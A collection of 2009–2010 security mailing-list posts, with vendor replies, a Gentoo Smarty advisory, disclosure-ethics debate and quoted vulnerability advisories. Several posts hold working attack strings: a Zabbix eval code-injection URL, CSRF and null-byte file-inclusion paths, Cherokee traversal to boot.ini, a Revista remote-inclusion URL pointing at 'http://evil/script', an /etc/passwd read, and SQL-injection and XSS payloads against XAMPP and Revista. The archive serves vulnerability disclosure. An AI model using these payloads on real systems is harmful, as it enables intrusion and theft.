Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
